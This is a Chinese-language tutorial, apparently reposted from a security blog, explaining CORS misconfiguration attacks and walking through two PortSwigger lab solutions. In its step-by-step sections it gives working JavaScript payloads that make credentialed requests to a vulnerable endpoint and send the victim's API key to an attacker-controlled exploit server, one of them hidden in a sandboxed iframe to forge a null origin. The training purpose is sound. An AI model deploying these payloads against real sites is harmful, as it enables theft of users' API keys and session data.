在本节中,将解释什么是跨域资源共享(CORS),描述一些基于跨域资源共享攻击的常见示例,并讨论如何防范这些攻击。
由CORS配置问题引起的漏洞
许多现代网站使用CORS允许来自子域和受信任的第三方的访问,为了确保应用正常,他们CORS的实现可能包含错误或过于宽松,这可能导致可利用的漏洞。
来自客户端指定的Origin标头的服务器生成的ACAO标头
一些应用程序需要提供对许多其他域的访问,维护允许域的列表需要持续的努力,任何错误都有可能破坏功能。
因此,一些应用程序采取了允许来自任何其他域访问的简单途径。
一种方法是从请求中读取Origin标头并包含一个响应标头,说明允许请求的来源。
例如,考虑接收以下请求的应用程序:
然后它响应:
这些标头声明允许来自请求域(malicious-website.com)的访问,并且跨域请求可以包含cookie(Access-Control-Allow-Credentials:true),因此将在会话中进行处理。
如果应用程序在Access-Control-Allow-Origin标头中反映了任意来源,这意味着任何域都可以访问易受攻击域的资源。
如果响应包含任何敏感信息,例如API密钥或CSRF令牌,我们可以通过在网站上放置以下脚本来检索它:
场景试验-基于来源反射的CORS漏洞:
https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack
场景说明:
这个试验场景的CORS配置不安全,因为它信任所有来源。
试验目的:
要完成这个试验,需要制作一些使用CORS的JavaScript来检索管理员的API密钥并将代码上传到漏洞利用服务器,当成功提交管理员的API密钥后,试验就完成了。
场景提供了可供使用的账号wiener:peter。
攻击过程:
①用提供的账号进行登录,登录后可以看到API显示在页面上,通过Burp抓包可以看到获取API过程中访问了/accountDetails页面,并且响应包含了Access-Control-Allow-Credentials标头,说明这个URL可能支持CORS
②将这个请求发送到Repeater,增加如下标头并发送,在响应的请求中可以看到Access-Control-Allow-Origin标头允许该域跨域访问
Origin:https://www.test.com
③打开"exploit server",键入下面的JavaScript脚本,注意替换下试验场景地址,保存
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','your-lab-url/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText; };
</script>
④点击"View exploit",可以看到API密钥信息包含在URL里面
⑤返回"exploit server",发送给受害者,随后点击"Access log",从中获取到administrator的API密钥,提交即可完成试验
试验小结:
上面的试验场景,假设受害者点击了漏洞利用服务器的链接,同时又登录了上述网站,就会发生CORS攻击的问题。在默认情况下,浏览器在发送跨域请求时是不能发送比如"cookie"之类任何认证信息的,除非是设置withCredentials为true,并且同时服务器端也必须允许resquest携带认证信息同时允许该域进行跨域访问。所以特别注意一点,一旦跨域request能够携带认证信息,server端一定不能将Access-Control-Allow-Origin设置为*,必须设置为请求页面的域名。
解析Origin标头时出错
一些支持从多个来源访问的应用程序通过使用允许来源的白名单来实现。当收到CORS请求时,将提供的来源与白名单进行比较。如果来源出现在白名单上,那么它会反映在Access-Control-Allow-Origin标头中,以便授予访问权限。
例如,应用程序收到一个正常的请求:
应用程序根据其允许的来源列表检查提供的来源,如果它在列表中,则按如下方式来响应:
不过,配置CORS源白名单时经常会出现错误,一些组织会允许其所有子域(包括未来不存在的子域)进行访问。
一些应用程序允许从其他各种组织的域(包括它们的子域)进行访问。这些规则通常通过匹配URL前缀或后缀,或者是正则表达式来实现。配置中的任何错误都可能导致访问被授予意外的外部域。
例如,假设一个应用程序授予对以下结尾的所有域开放访问权限:
攻击者可能能够通过注册域来获得访问权限:
或者,假设应用程序授予对所有域的访问权限,那么攻击者可能能够使用子域的方式获得访问权限:
列入白名单的null原始值
Origin标头的规范支持null值,在各种异常情况下,浏览器可能会在Origin标头中发送null值:
●跨域重定向
●来自序列化数据的请求
●使用文件请求:协议
●沙盒化的跨域请求
某些应用程序可能会将空源列入白名单以支持应用程序的本地开发。
例如,假设一个应用程序接收到以下跨域请求:
服务器如下响应:
在这种情况下,攻击者可以使用各种技巧来生成包含Origin标头中null值的跨域请求,这将满足白名单,导致跨域访问。
例如,可以使用以下形式的沙盒iframe来完成跨域请求:
场景试验-具有可信空源的CORS漏洞:
https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack
场景说明:
这个试验场景的CORS配置不安全,因为它信任"null"来源。
试验目的:
要完成这个试验,需要制作一些使用CORS的JavaScript来检索管理员的API密钥并将代码上传到漏洞利用服务器,当成功提交管理员的API密钥后,试验就完成了。
场景提供了可供使用的账号wiener:peter。
攻击过程:
①用提供的账号进行登录,登录后可以看到API显示在页面上,通过Burp抓包可以看到获取API过程中访问了/accountDetails页面,并且响应包含了Access-Control-Allow-Credentials标头,说明这个URL可能支持CORS
②将这个请求发送到Repeater,增加如下标头并发送,在响应的请求中可以看到Access-Control-Allow-Origin标头允许null跨域访问
Origin: null
③打开"exploit server",键入下面的JavaScript脚本,注意替换下试验场景地址,保存
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','your-lab-url/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='$exploit-server-url/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
④返回"exploit server",发送给受害者,随后点击"Access log",从中获取到administrator的API密钥,提交即可完成试验
SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理
原文始发于微信公众号(H君网安白话):跨域资源共享(CORS)-攻击示例(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论